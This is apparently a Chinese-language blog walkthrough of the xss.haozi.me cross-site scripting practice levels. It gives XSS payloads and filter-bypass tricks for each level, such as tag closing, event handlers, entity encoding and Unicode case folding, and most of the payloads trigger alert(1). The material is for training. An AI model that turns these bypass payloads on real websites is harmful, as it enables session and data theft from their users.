在线练习地址:https://xss.haozi.me/

0x00

第一关很简单

payload:

<script>alert(1)</script>

0x01

第二关也很简单,关键是闭合之前的标签

</textarea><script>alert(1)</script>

0x02

这一关主要是提前闭合双引号,构造点击事件,我们点击文本框就会触发

1" type="button" onclick=alert(1)>//

不过也可以直接闭合标签

"><script>alert(1)</script>

<svg>方式:

"><svg/onload=alert(1)>

0x03**

这一关过滤了括号,我们这里使用的是`来代替括号

<script>alert`1`</script>

还可以使用<svg>标签

<svg><script>alert&#x28;1&#x29;</script>

0x04

过滤了括号和`,我们依旧可以使用<svg>标签

<svg><script>alert&#x28;1&#x29;</script>

方法二:

<script>window.onerror=eval;throw'=alert\x281\x29'</script>

方法三:利用iframe

<iframe srcdoc="<script>parent.alert&#40;1&#41;</script>"

0x05

这一关中把-->注释给替换了,不过我们可以使用--!>来闭合注释

--!><script>alert(1)</script>

0x06

这一关中把auto和on开头的字符以及>都替换为了_,不过我们依旧可以使用,onmouseover,通过换行来绕过过滤

onmouseover
=alert(1)

或者将类型转为image然后使用onerror

type=image src onerror
=alert(1)

0x07

这一关中过滤了</ >中除了>的所有字符。我们还可以使用<svg>标签来完成。

<svg/onload=alert(1) 

0x08

我们可以两种方式来逃逸正则的匹配:

payload:

</style
><script>alert(1)</script>

</style ><script>alert(1)</script>

0x09

通过分析源码我么可以发现其过滤是开头可以是https必须有的是\\www.segmentfault.com

payload:

https://www.segmentfault.com" onload=alert(1)>

0x0A

我们看右边的源码可以知道首先我们需要满足是一个指定url的格式,然后又过滤了很多关键字符

0x0B

0x0D

我们看到过滤了用来闭合的符号,不过我们可以直接用换行和注释搞定:

payload:


alert(1)
-->

0x0E

toUpperCase函数执行的时候会将其他国家的字符转为大写的S,我们通过这一点绕过:

<ſcript src="https://xss.haozi.me/j.js></script>

0x0F

对html inline js 转义就是做无用功,浏览器会先解析html, 然后再解析 js

');alert('1

0x10

二话不说直接绕

1;alert(1);

0x11

我们可以看到,不管他加多少个转义符,加入到标签中的时候都是字符串,所以我们可以利用这一点来绕过:

payload1:

");
alert(1);
("

payload2:

"),alert("1

0x12

直接用闭合标签

</script>
<script>
  alert(1);
</script>

方法二

\");alert(1);//
最后修改:2020 年 08 月 26 日
如果觉得我的文章对你有用,请随意赞赏